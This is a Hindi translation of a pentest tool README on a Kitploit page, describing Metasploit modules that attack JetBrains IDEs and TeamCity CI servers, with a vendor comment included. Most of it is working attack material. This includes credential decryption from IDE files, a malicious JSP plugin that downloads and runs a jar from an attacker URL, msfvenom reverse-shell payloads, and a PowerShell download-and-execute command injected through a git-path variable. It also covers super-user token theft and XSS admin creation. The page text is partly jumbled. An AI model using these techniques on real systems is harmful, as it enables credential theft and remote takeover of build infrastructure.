Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/kacperszurek/pentest_teamcity
शोषण फ्रेमवर्कपेलोड जनरेशनवेब एप्लिकेशन शोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubkacperszurek/pentest_teamcity

pentest_teamcity

Metasploit का उपयोग करके TeamCity पेनटेस्ट करें

रिपॉजिटरी देखें
45828 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Pentest TeamCity Metasploit का उपयोग करके

TL;DR: JetBrains IDE (जैसे IntelliJ या PyCharm) से पासवर्ड प्राप्त करें और उन क्रेडेंशियल्स का उपयोग TeamCity Continuous Integration Server के अंदर करें ताकि Kacper Szurek द्वारा metasploit का उपयोग करके सर्वर और बिल्ड एजेंट्स पर meterpreter सेशन प्राप्त किया जा सके।

Jetbrains.rb मॉड्यूल

सर्वर पर शेल

एजेंट्स पर शेल

विंडोज एजेंट्स पर शेल

JetBrains टिप्पणी

यह विक्रेता (JetBrains TeamCity टीम) की ओर से Yegor Yarko द्वारा एक टिप्पणी है:

लेख की अधिकांश सामग्री बताती है कि दुर्भावनापूर्ण उपयोगकर्ता TeamCity का दुरुपयोग कैसे कर सकते हैं यदि उन्हें ऐसा करने की उचित अनुमति दी गई हो। उदाहरण के लिए, सिस्टम एडमिनिस्ट्रेटर भूमिका (सर्वर पर पूर्ण नियंत्रण प्रदान करती है) वाला उपयोगकर्ता एक दुर्भावनापूर्ण TeamCity प्लगइन स्थापित कर सकता है या सर्वर तक "सुपर यूज़र" पहुँच के लिए टोकन प्राप्त कर सकता है। साथ ही, प्रोजेक्ट एडमिनिस्ट्रेटर भूमिका वाला उपयोगकर्ता एजेंट पर मनमाना कोड चला सकता है या कॉन्फ़िगर किए गए रिपॉजिटरी एक्सेस पासवर्ड प्राप्त कर सकता है। यह व्यवहार TeamCity द्वारा एक उत्पाद के रूप में प्रदान की गई कार्यक्षमता का हिस्सा है। इन विचारों का वर्णन TeamCity दस्तावेज़ीकरण के में किया गया है।

OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` यह meterpreter को डाउनलोड और निष्पादित करने की अनुमति देगा। संकलित `.jar` फ़ाइल [यहाँ](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip) है।
संबंधित अनुभाग

वर्णित मुद्दे बताते हैं कि किसी दुर्भावनापूर्ण अभिकर्ता को उच्च विशेषाधिकार प्रदान करना कितना खतरनाक हो सकता है। TeamCity सर्वर प्रशासकों को नियमित रूप से उपयोगकर्ताओं की अनुमतियों की समीक्षा करनी चाहिए ताकि संभावित दुर्भावनापूर्ण उपयोगकर्ताओं को वे अनुमतियाँ न दी जाएँ जिनका वे दुरुपयोग कर सकते हैं; यदि सक्षम है, तो अतिथि उपयोगकर्ता अनुमतियों की समीक्षा करें। दूसरी बात यह है कि अपने टर्मिनलों को कहीं भी गैर-तुच्छ अनुमतियों के साथ लॉग इन होने पर लावारिस न छोड़ें।

लेख में दो वास्तविक सुरक्षा चिंताओं का उल्लेख किया गया है: एक एक दुर्भावनापूर्ण बिल्ड आर्टिफैक्ट प्रकाशित करने और किसी प्रशासक उपयोगकर्ता को इसे ब्राउज़र में देखने के लिए प्रेरित करने से संबंधित है, और दूसरा कस्टम बिल्ड चलाने की अनुमति को TeamCity एजेंट पर मनमाना कोड निष्पादन में बढ़ाने का है। बाद वाले का TeamCity के अधिकांश इंस्टॉलेशन पर केवल मामूली प्रभाव पड़ता है क्योंकि इस अनुमति वाले लोगों के पास पहले से ही एजेंट पर कोई भी कोड चलाने की क्षमता होती है।

फिर भी, हम उपरोक्त चिंताओं को निकटतम TeamCity रिलीज़ में से एक में संबोधित करने जा रहे हैं, और उन्हें हमारे ध्यान में लाने के लिए धन्यवाद।

परिचय

मान लीजिए कि आप एक सॉफ्टवेयर कंपनी के अंदर पेनिट्रेशन टेस्टिंग कर रहे हैं जो Jetbrains स्टैक का उपयोग करती है। आप metasploit का उपयोग कर रहे हैं और डेवलपर कंप्यूटर पर meterpreter सेशन प्राप्त करते हैं।

आप आगे क्या कर सकते हैं? 2015 के Nikhil SamratAshok Mittal द्वारा TeamCity पेंटेस्टिंग के बारे में एक लेख है।

इस पोस्ट में मैं सुरक्षा नोट्स और BugTrack से कई तकनीकों को संयोजित करता हूँ और उन्हें Metasploit मॉड्यूल में डालता हूँ।

नोट: मैं यहाँ किसी 0 दिन का उपयोग नहीं कर रहा हूँ। हर कार्रवाई के लिए आपको मान्य TeamCity क्रेडेंशियल्स की आवश्यकता है। JetBrains टिप्पणी देखें।

मैं इस स्क्रिप्ट से होने वाले किसी भी नुकसान के लिए जिम्मेदार नहीं हूँ। डेटा सुरक्षा के लिए set CLEANUP false के साथ उपयोग करें।

TeamCity 2017.2.1 (build 50732) पर परीक्षण किया गया।

विषयसूची

  • JetBrains टिप्पणी
  • स्थापना
  • JetBrains IDE से पासवर्ड प्राप्त करें
    • JetBrains metasploit मॉड्यूल
  • TeamCity सर्वर का पेंटेस्ट
    • सर्वर पर शेल
    • बिल्ड एजेंट्स पर शेल
    • विंडोज बिल्ड एजेंट्स पर शेल
    • सुपर यूज़र
    • सहेजे गए क्रेडेंशियल्स
    • XSS का उपयोग करके प्रशासक खाता
    • अतिथि उपयोगकर्ता
    • TeamCity metasploit मॉड्यूल
  • समस्या निवारण

स्थापना

KeePass डेटाबेस को डिकोड करने के लिए हमें kdbx Ruby लाइब्रेरी की आवश्यकता है।

  1. gem फ़ाइल खोजें: find / -name "metasploit-framework.gemspec"
  2. संपादित करें, Kali Linux के लिए यह है: vim /usr/share/metasploit-framework/metasploit-framework.gemspec
  3. जोड़ें: spec.add_runtime_dependency 'kdbx', '0.2.0'
  4. cd /usr/share/metasploit-framework/ && bundle install

अब आप:

  1. mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/post
  2. teamcity.rb और serverplugin.zip को ~/.msf4/modules/exploits में कॉपी करें
  3. jetbrains.rb को ~/.msf4/modules/post में कॉपी करें
  4. Metasploit कंसोल चलाएँ msfconsole
  5. प्लगइन्स पुनः लोड करें reload_all

JetBrains IDE से पासवर्ड प्राप्त करें

TeamCity को प्लगइन का उपयोग करके सभी JetBrains IDE के साथ आसानी से एकीकृत किया जा सकता है।

TeamCity एकीकरण - लॉगिन विंडो

यदि Remember me विकल्प का उपयोग किया जाता है, तो पासवर्ड IntelliJ Platform Credentials Store API का उपयोग करके संग्रहीत किए जाते हैं। आप स्रोत कोड यहाँ पा सकते हैं।

विंडोज पर डिक्रिप्शन प्रक्रिया इस प्रकार दिखती है:

पासवर्ड योजना

  1. pdb.pw फ़ाइल विंडोज CryptUnprotectData का उपयोग करके डिक्रिप्ट की जाती है। इसका मतलब है कि केवल वही उपयोगकर्ता जिसने डेटा एन्क्रिप्ट किया है, उसे डिकोड कर सकता है।
  2. ब्लॉब को स्थिर पासवर्ड के साथ AES-128-CBC का उपयोग करके डिक्रिप्ट किया जाता है। यह पासवर्ड बदलता नहीं है और हर उत्पाद और स्थापना के लिए समान होता है।
  3. c.kdbx KeePass डेटाबेस को अब बिंदु 2 से मास्टर पासवर्ड का उपयोग करके डिक्रिप्ट किया जा सकता है
  4. पासवर्ड 0xDFAA का उपयोग करके xor किए जाते हैं

डिफ़ॉल्ट रूप से मास्टर पासवर्ड यादृच्छिक होता है। इसे विकल्पों के अंदर बदला जा सकता है:

मास्टर पासवर्ड बदलें

लेकिन इससे कुछ नहीं बदलता।

इसका केवल यह मतलब है कि KeePass डेटाबेस c.kdbx को एक अलग पासवर्ड का उपयोग करके एन्क्रिप्ट किया जाएगा। स्थानीय उपयोगकर्ता pdb.pw फ़ाइल से इस पासवर्ड को आसानी से प्राप्त कर सकता है।

JetBrains metasploit मॉड्यूल

मान लीजिए कि आपके पास #1 के साथ एक मान्य Meterpreter सेशन है``` use post/jetbrains set SESSION 1 exploit

root@kitploit:~
आउटपुट कुछ इस प्रकार दिखता है:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

पेंटेस्ट टीमसिटी सर्वर

अभी आपके पास जेटब्रेन्स मेटास्प्लॉइट मॉड्यूल से टीमसिटी क्रेडेंशियल्स हैं। वर्तमान उपयोगकर्ता भूमिका के आधार पर आप निम्न कार्य कर सकते हैं:

सरल प्राधिकरण मोड

सर्वर पर शेलबिल्ड एजेंटों पर शेलसुपर यूजरसहेजे गए क्रेडेंशियल्स
प्रशासक✔️✔️✔️✔️
सभी प्रोजेक्ट के लिए
लॉग-इन उपयोगकर्ता❌✖️
केवल विंडोज एजेंटों पर
❌❌
अतिथि उपयोगकर्ता❌❌❌❌

प्रति-प्रोजेक्ट प्राधिकरण मोड:

सर्वर पर शेलबिल्ड एजेंटों पर शेलसुपर यूजरसहेजे गए क्रेडेंशियल्स
सिस्टम प्रशासक✔️✔️✔️✔️
सभी प्रोजेक्ट के लिए
प्रोजेक्ट प्रशासक❌✔️❌✔️
प्रोजेक्ट डेवलपर❌✖️
केवल विंडोज एजेंटों पर
❌❌
प्रोजेक्ट दर्शक❌❌❌❌

कृपया ध्यान दें कि मेटास्प्लॉइट मॉड्यूल कस्टम भूमिकाओं का समर्थन नहीं करता है।

सर्वर पर शेल

टीमसिटी को प्लगइन्स का उपयोग करके आसानी से विस्तारित किया जा सकता है।

प्लगइन्स सूची

इस कार्यक्षमता का उपयोग करके एक दुर्भावनापूर्ण प्लगइन बनाना संभव है जो मीटरप्रेटर सत्र चलाएगा।

  1. इस ट्यूटोरियल का उपयोग करके एक दुर्भावनापूर्ण प्लगइन बनाएं। Hello.jsp के अंदर डालें: ```java <%@ page import="java.io.File" %>
  1. Server Administration->Diagnostics->Browse Data Directory पर जाएं और प्लगइन को plugins निर्देशिका में अपलोड करें। (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)

Upload plugin

  1. Server Administration->Diagnostics->Troubleshooting->Restart server का उपयोग करके सर्वर को पुनरारंभ करें (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)

Restart server

  1. अब आप किसी भी .jar फ़ाइल को http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jar का उपयोग करके निष्पादित कर सकते हैं

बिल्ड एजेंटों पर शेल

एक TeamCity Build Agent एक सॉफ्टवेयर का टुकड़ा है जो TeamCity सर्वर से कमांड सुनता है और वास्तविक बिल्ड प्रक्रियाएं शुरू करता है। इसे TeamCity सर्वर से अलग स्थापित और कॉन्फ़िगर किया जाता है। एक एजेंट को सर्वर के समान कंप्यूटर पर या किसी भिन्न मशीन पर स्थापित किया जा सकता है।

शोषण इस प्रकार दिखता है:

Shell on Build Agents

सरल शब्दों में: हम java meterpreter उत्पन्न करते हैं जिसे git सर्वर पर होस्ट किया जाता है। फिर हम एक बिल्ड कॉन्फ़िगरेशन बनाते हैं जो हमारे meterpreter को git सर्वर से डाउनलोड करता है और कमांड लाइन का उपयोग करके एजेंटों पर चलाता है।

1. meterpreter पेलोड उत्पन्न करें: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar

2. Git सर्वर पर meterpreter.jar होस्ट करें (उदाहरण के लिए https://gogs.io/ का उपयोग करके)

3. यदि आपके पास System Administrator विशेषाधिकार हैं तो आप नया प्रोजेक्ट बना सकते हैं (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu)। यदि आप Project Developer हैं तो आपको उस प्रोजेक्ट को संपादित करने की आवश्यकता है जिसमें आपकी पहुँच है।

Create project

4. बिंदु 2 से डेटा का उपयोग करके अपने प्रोजेक्ट में VCS रूट जोड़ें

Add VCS root

5. नई बिल्ड कॉन्फ़िगरेशन बनाएँ

Build configuration

6. बिल्ड कॉन्फ़िगरेशन में बिल्ड स्टेप जोड़ें

Create build step

कुंजीमान
रनर प्रकारकमांड लाइन
स्टेप निष्पादित करेंहमेशा, भले ही बिल्ड रोकने का आदेश जारी किया गया हो
चलाएँपैरामीटर के साथ निष्पादन योग्य
कमांड निष्पादन योग्य%teamcity.agent.jvm.java.home%/bin/java
कमांड पैरामीटर-jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar

7. मेटास्प्लॉइट मल्टी हैंडलर तैयार करें: ``` use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.1.11 exploit

root@kitploit:~
8. सभी संगत एजेंटों पर व्यक्तिगत कस्टम बिल्ड चलाएँ

![Run build](https://assets.kitploit.com/production/public/readmes/1821/13e0ed80e97414169177b89b62ba1abbd621cbb14af21adaaeeec781ad3e9806.png)

## विंडोज बिल्ड एजेंटों पर शेल

डिफ़ॉल्ट रूप से `Project Developer` बिल्ड स्टेप्स को संशोधित/निर्मित नहीं कर सकता।

इसलिए हमारी दुर्भावनापूर्ण कमांड लाइन को जोड़ना और निष्पादित करना संभव नहीं है।

हम विंडोज पर [कस्टम एनवायरनमेंट वेरिएबल्स](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables) का उपयोग करके इसे बायपास करने का प्रयास कर सकते हैं। कैसे?

Teamcity [एजेंट पर गिट चेकआउट](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode) का समर्थन करता है।

बिल्ड स्टेप निष्पादन से पहले, एजेंट गिट सर्वर से नवीनतम डेटा डाउनलोड कर रहा है:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}

एजेंट जाँच रहा है कि क्या पर्यावरण चर TEAMCITY_GIT_PATH मौजूद है। यदि हाँ, तो इसका उपयोग git बाइनरी के पथ के रूप में किया जाता है।

TeamCity प्रोजेक्ट में डेवलपर उस बिल्ड को चला सकता है जिसकी उसके पास पहुँच है और कस्टम पर्यावरण चर निर्दिष्ट कर सकता है।

इसलिए हम env.TEAMCITY_GIT_PATH को सेट कर रहे हैं:``` "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

root@kitploit:~
![Build with environment variable](https://assets.kitploit.com/production/public/readmes/1821/511202e7fe7a7cdebf304ecae6bfc543e845a73df55cc880ee102d5fcb17ba6f.png)

बिल्ड लॉग में यह इस प्रकार दिखता है:```
[2018-01-30 20:54:55,342]   INFO -      jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"

[2018-01-30 20:54:55,343]   INFO -      jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718]   WARN -      jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+                                                                   ~~~~~~~
    + CategoryInfo          : ObjectNotFound: (version:String) [], CommandNotF
   oundException
    + FullyQualifiedErrorId : CommandNotFoundException

Super user

TeamCity में super user account नाम की चीज़ होती है। यह आपको सिस्टम एडमिनिस्ट्रेटर अनुमतियों के साथ सर्वर UI तक पहुँचने की अनुमति देता है यदि आपको क्रेडेंशियल याद नहीं हैं या प्रमाणीकरण-संबंधी सेटिंग्स को ठीक करने की आवश्यकता है।

यदि आपके पास System Administrator विशेषाधिकार हैं, तो Server Administration->Diagnostics->Server logs->teamcity-server.log पर जाएं और स्ट्रिंग Super user authentication token खोजें (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):``` [2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.

root@kitploit:~
अब आप लॉगिन कर सकते हैं: `http://teamcity/login.html?super=1`

## सहेजी गई क्रेडेंशियल्स

TeamCity `VCS root passwords`, `password parameters` या `SSH keys` जैसी चीज़ों को एन्क्रिप्टेड रूप में संग्रहीत करता है और वेब या एपीआई इंटरफ़ेस पर उनकी सामग्री नहीं दिखाता है।

लेकिन इसे `export` फ़ंक्शन का उपयोग करके बायपास किया जा सकता है। **Your project->Settings Export->Export** पर जाएं

![प्रोजेक्ट निर्यात](https://assets.kitploit.com/production/public/readmes/1821/767b81ac9f2ffb885af6d11864fc3926e7972adcaa44a731c314f0f3601174e0.png)

उन फ़ाइलों की सामग्री इस प्रकार है:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
  <name>exploiter</name>
  <parameters />
  <project-extensions>
    <extension id="PROJECT_EXT_2" type="OAuthProvider">
      <parameters>
        <param name="displayName" value="Docker Registry" />
        <param name="providerType" value="Docker" />
        <param name="repositoryUrl" value="https://docker.io" />
        <param name="secure:userPass" value="zxxyour_encrypted_passwords" />
        <param name="userName" value="my_user_name" />
      </parameters>
    </extension>
  </project-extensions>
  <cleanup />
</project>

एन्क्रिप्टेड स्ट्रिंग्स zxx से शुरू होती हैं और स्थिर कुंजी के साथ DES का उपयोग करके एन्कोड की जाती हैं।

XSS का उपयोग करके व्यवस्थापक खाता

जैसा कि हम Teamcity Bug Tracker #TW-27206 में पढ़ सकते हैं: Malicious data in build artifacts can initiate XSS attack.

वर्तमान में, बिल्ड आर्टिफैक्ट्स से सभी .html (और कुछ अन्य) फ़ाइलें ब्राउज़र में क्लिक करने पर रेंडर हो जाती हैं।

मैंने छोटा कोड स्निपेट बनाया है जो नया व्यवस्थापक खाता बनाने का प्रयास करता है।

यह हमला कैसा दिख सकता है? हम व्यवस्थापक को हमारे दुर्भावनापूर्ण आर्टिफैक्ट पर जाने के लिए मनाने की कोशिश कर रहे हैं जो इस यूआरएल पर उपलब्ध है: http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html

XSS

अतिथि उपयोगकर्ता

TeamCity आपको अतिथि लॉगिन चालू करने की अनुमति देता है जो TeamCity वेब UI तक अनाम पहुंच प्रदान करता है।

एक सर्वर व्यवस्थापक Administration | Authentication page पर अतिथि लॉगिन सक्षम कर सकता है।

आप इसका उपयोग बिल्ड आर्टिफैक्ट्स प्राप्त करने के लिए कर सकते हैं।

TeamCity metasploit मॉड्यूल

मूल उपयोग:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit

root@kitploit:~
आउटपुट इस तरह दिखता है:

अतिरिक्त विकल्प:

| नाम | विवरण |
|:---:|:---:|
|PROJECT_ID|प्रोजेक्ट आईडी निर्दिष्ट करें, डिफ़ॉल्ट रूप से यह नया रैंडम प्रोजेक्ट बनाएगा|
|BUILD_TYPE_ID|बिल्ड टाइप आईडी निर्दिष्ट करें, डिफ़ॉल्ट रूप से यह नया रैंडम बिल्ड टाइप बनाएगा|
|VCS_ID|VCS आईडी निर्दिष्ट करें, डिफ़ॉल्ट रूप से यह नया रैंडम VCS बनाएगा|
|CLEANUP|बनाए गए प्रोजेक्ट/बिल्ड/VCS रूट को हटाएं|
|SERVER_PLUGIN|[serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip) का पथ|
|GIT_PATH|GIT निर्देशिका का पथ|

# समस्या निवारण

  1. मैं Metasploit मॉड्यूल लोड नहीं कर सकता

  जांचें कि क्या आपने `teamcity.rb` को `~/.msf4/modules/exploits` और `jetbrains.rb` को `~/.msf4/modules/post` निर्देशिका में कॉपी किया है।
  Metasploit में एक्सप्लॉइट मॉड्यूल `exploits` डीआईआर में और पोस्ट मॉड्यूल `post` डीआईआर में होने चाहिए।

  2. चेतावनी! निम्नलिखित मॉड्यूल लोड नहीं किए जा सके! LoadError: cannot load such file -- kdbx

  क्या आपने [kdbx मॉड्यूल](#installation) इंस्टॉल किया है? यदि हाँ, तो Metasploit से बाहर निकलें और इसे फिर से चलाएं। `reload_all` कमांड का उपयोग करें।

  3. मैं Mac/Linux पर स्थापित IDE से पासवर्ड प्राप्त नहीं कर सकता

  वर्तमान में केवल Windows समर्थित है। क्षमा करें।

  4. पोस्ट विफल: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: ऑपरेशन विफल: 1

  संभवतः आप java मीटरप्रेटर का उपयोग कर रहे हैं। इसमें कुछ महत्वपूर्ण API नहीं है। `windows/meterpreter/reverse_tcp` पर माइग्रेट करें और पुनः प्रयास करें।

  5. SYSTEM के रूप में चल रहा है, डेटा डिक्रिप्ट नहीं कर सकता

  क्योंकि पासवर्ड `CryptUnprotectData` API का उपयोग करके एन्क्रिप्ट किए जाते हैं, डिकोडिंग फ़ंक्शन को सामान्य उपयोगकर्ता खाते के संदर्भ में चलाने की आवश्यकता है।

  6. मुझे [सर्वर पर शेल](#shell-on-server) नहीं मिल रहा है

  एक्सप्लॉइट को दूसरी बार चलाएं।

  7. `teamcit.rb` तब भी काम नहीं कर रहा है जब वर्तमान उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हों

  यह मॉड्यूल कस्टम भूमिकाओं का समर्थन नहीं करता है।

  8. %path% के अंदर git नहीं मिल सका। कृपया GIT_PATH बदलें

  हमें Git सर्वर सेट करने के लिए `git` और `git-upload-pack` बाइनरी की आवश्यकता है जो हमारे मीटरप्रेटर की मेजबानी करेगा। मैंने [यहाँ](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html) से विचार का उपयोग किया।

    ```
    set GIT_PATH /your/path/to/git/dir
    ```

  9. `username:password` के रूप में लॉगिन नहीं कर सकते

  क्रेडेंशियल्स दोबारा जांचें:

    set USERNAME your_user_name
    set PASSWORD your_password

  10. सर्वर प्लगइन नहीं मिल सका: %path%। कृपया SERVER_PLUGIN संशोधित करें

  बताएं कि [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip) कहाँ संग्रहीत है

    set SERVER_PLUGIN /your/path/to/serverplugin.zip

  11. [-] एक्सप्लॉइट विफल: Rex::RuntimeError दिया गया संसाधन पहले से जोड़ा गया है।

  `jobs -K` का उपयोग करके बैकग्राउंड जॉब्स को मारें।

  12. कृपया LHOST को 0.0.0.0 के बजाय किसी विशिष्ट IP पते से बांधें

  विशिष्ट IP पते से बांधें, जैसे:  ```
  use LHOST 192.168.1.123
  1. विफलता के कारण शोषण रद्द किया गया: अज्ञात: %project_name% को संशोधित नहीं किया जा सकता

आपके पास विशिष्ट परियोजना के लिए अनुमतियाँ नहीं हैं। देखें कि आपकी किस परियोजना तक पहुँच है, अर्थात: ``` You can modify only following projects: ["test", "second"]

root@kitploit:~
और फिर प्रोजेक्ट आईडी निर्दिष्ट करें:  ```
set PROJECT_ID test
  1. केवल java/meterpreter/reverse_tcp ही क्यों उपलब्ध है?

क्योंकि यह पोर्टेबल है। is_payload_compatible? फ़ंक्शन को संशोधित करने में बेझिझक रहें।

  1. अन्य समस्याएँ

डिबगिंग सक्षम करें:

root@kitploit:~
set HttpTrace 1
set LogLevel 3
टूल डाउनलोड करें